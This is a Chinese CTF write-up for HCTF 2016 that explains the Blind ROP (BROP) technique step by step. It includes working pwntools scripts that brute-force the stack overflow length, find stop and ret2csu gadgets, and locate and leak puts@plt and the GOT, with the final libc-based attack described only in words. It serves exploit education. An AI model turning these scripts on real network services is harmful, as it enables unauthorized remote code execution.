Skip to content

HTCF 2016 出题人去哪了题解 (BROP)

复制本地路径 | 在线编辑

前言

我看了一下,网上已经有很多关于这题的题解了,不过还是自己写一下更好一点。
这道题目主要就是用了 BROP 这个方法,我也是通过这道题才学会这个方法的。

源码分析

我没参加过比赛,不过我估计比赛也没有给出二进制文件,而是就告诉你们连接我服务器的哪个端口,所以没有办法本地调试,这就是麻烦之处。
连上服务器,发现就是输入密码,看来就是简单的登录检查程序。

解题步骤

确定栈溢出

先看一看他们有没有栈溢出,长度是多少,脚本如下。本质上就是暴力,每次增加一个长度,然后看看程序有没有崩溃。

def getbufferflow_length():
    i = 1
    while 1:
        try:
            sh = process('./brop')
            sh.recvuntil('WelCome my friend,Do you know password?\n')
            sh.send(i * 'a')
            output = sh.recv()
            sh.close()
            print(output)
            if not output.startswith(b'No password'):
                return i - 1
            else:
                i += 1
        except EOFError:
            sh.close()
            return i - 1

寻找 stop_gadget

什么是 stop gadget 呢,其实你就可以理解成,跳到这个地址后,程序执行它不会进行崩溃。
比如这道题目中,我找到的就是 main 函数的地址,这样程序跳到这个地址,继续重新执行 main 函数,当然不会崩溃。

寻找方式也很朴素,就是不断地利用栈溢出,从起始地址 0x400000 暴力寻找地址即可。
我推荐找到的地址是可以让程序输出某个比较有特征的语句,比如我这里就是找 main 函数的地址,这样程序会输出 WelCome.

def check_stop_gadget(length, addr):
    try:
        sh = process('./brop')
        sh.recvuntil('password?\n')
        payload = b'a' * length + p64(addr) + b'a' * 10
        sh.sendline(payload)
        content = sh.recv()
        sh.close()
        return content.startswith(b'WelCome')
    except Exception:
        sh.close()
        return False

stop_addr = 0x400000 - 1
while True:
    stop_addr += 1
    if check_stop_gadget(bufferflow_len, stop_addr):
        break

寻找 brop_gadget

brop_gadget 是什么

什么是 brop_gadget,这里要有 ret2csu 的知识储备,brop_gadget 就是格式是这样的 ROP_gadget: pop * 6 + ret
为什么要找这样的 rop_gadget,因为如果找到了这种有 6 个 pop 的形式,基本上大概率它就是 ret2csu 中利用的 rop.
在这里写一下 ret2csu 中的 rop:

pop rbx 
pop rbp 
pop r12 
pop r13 
pop r14 
pop r15 
ret

有了它可以干什么?我们通过布局栈就能控制很多寄存器。而且比较重要的是,可以利用偏移量控制 rsi 和 rdi。看一下下面的图就好理解了,也就是原来的 gadget 稍微偏一下,翻译成了 pop rsipop rdi 的指令。

另外插一句,这是我的个人想法,找到了 brop_gadget 的地址,就相当于找到了 _libc_csu_init 函数的地址,如下面所示。
那感觉可以利用很多东西,比如 ret2csu 就完全可以用了,因为地址我全都知道了。

.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16
.text:00000000004005C0                 push    r15
.text:00000000004005C2                 push    r14
...
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 __libc_csu_init endp

brop_gadget 怎么找

这个就很简单了,利用栈溢出构造格式:{ padding | want_addr | xxxx * 6 | stop_gadget }.
如果程序不崩溃就 OK,是吗?显然还有一点要注意,如果 want_addr 就是 stop_gadget 怎么办?是不是无法检测了对吧。

所以最后实现方式如下。

def check_brop_gadget(length, stop_gadget, addr):
    try:
        sh = process('./brop')
        sh.recvuntil('password?\n')
        payload = b'a' * length + p64(addr) + p64(0)*6 + p64(stop_gadget) + p64(0)*8
        sh.sendline(payload)
        content = sh.recv(timeout=1)
        sh.close()
        if not content.startswith(b'WelCome'):
            return False
        return (not check_stop_gadget(length, addr))
    except Exception as e:
        sh.close()
        return False

brop_addr = 0x400000 - 1
while True:
    brop_addr += 1
    if check_brop_gadget(bufferflow_len, stop_addr, brop_addr):
        break

寻找 puts_plt

有了 brop_gadget,所以就可以知道 pop rdi, ret 的地址了,要知道 rdi 是函数的第一个参数,可能会很有用。

寻找 puts_plt 方法同样是暴力,看下面代码即可。我就是暴力地址,看看它能不能输出程序的开头。因为程序 ELF 格式,开头前四个字节都是固定的 magic number.

def check_puts_plt(length, rdi_ret, addr):
    try:
        sh = process('./brop')
        sh.recvuntil('password?\n')
        payload = b'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + b'a' * 8
        sh.sendline(payload)
        content = sh.recv(timeout=1)
        sh.close()
        return (content.startswith(b'\x7fELF'))
    except Exception:
        sh.close()
        return False

# 这里以 0x10 为步长来遍历,因为 plt 最后一个字节一定是 0
puts_plt = 0x400000 - 0x10
while True:
    puts_plt += 0x10
    if check_puts_plt(bufferflow_len, rdi_ret, puts_plt):
        break

寻找 puts_got

现在要泄露 puts_got,已经知道 puts_plt 了,那就太好办了。我们把 puts_plt 输出出来就好了。
回忆一下,plt 是如何记录 got 表的。

PLT0:
push *(got + 4) // got+4 = module_ID
jump *(got + 8) // got+8 = _dl_runtime_resolve

puts@plt:
jmp *(puts@got)
push n
jump PLT0

所以就是把 puts_plt 输出出来,那么它的结果对应 jmp *(puts@got)

def gets_puts_got(length, rdi_ret, puts_plt):
    sh = process('./brop')
    sh.recvuntil('password?\n')
    payload = b'A' * length + p64(rdi_ret) + p64(puts_plt) + p64(puts_plt) + b'a' * 8
    sh.sendline(payload)
    content = sh.recv(timeout=1)
    sh.close()
    # 这里需要写一下说明,可能还不太对
    jmp_addr = ( u64(content[2:5].ljust(8, b'\x00')) )
    # 因为 jmp xx 这个是相对地址,所以计算真正的地址需要把当前 PC 加上这个偏移量
    return puts_plt + 0x6 + jmp_addr

寻找 puts_got 内容

之前我们找的是 puts_got 这个地址在哪,找到之后就可以利用这个地址输出 puts_got 的内容了。这里面内容就是实际运行是 puts 的地址。

这样通过 LibcSearcher 根据偏移量就可以获取 libc 基址。之后就是普通的溢出攻击了。

具体看代码

def gets_puts_addr(length, rdi_ret, puts_plt, puts_got):
    sh = process('./brop')
    sh.recvuntil('password?\n')
    payload = b'A' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + b'a' * 8
    sh.sendline(payload)
    content = sh.recv(timeout=1)
    sh.close()
    return u64(content.ljust(8, b'\x00'))

总结

回顾流程

  1. 首先确定溢出长度
  2. 寻找 stop_gadget(不会奔溃的地址)
  3. 寻找 brop_gadget(6 个 pop 可以运行的地址)(利用 stop_gadget)
  4. 通过上述步骤,得到了 pop rdi, ret 地址,下面全部都是利用这个地址
  5. 寻找 puts_plt(暴力搜索)
  6. 寻找 puts_got
  7. 寻找 puts_real_addr
  8. 根据偏移量通过 LibcSearcher 找到 libc 基址,正常溢出攻击

Comments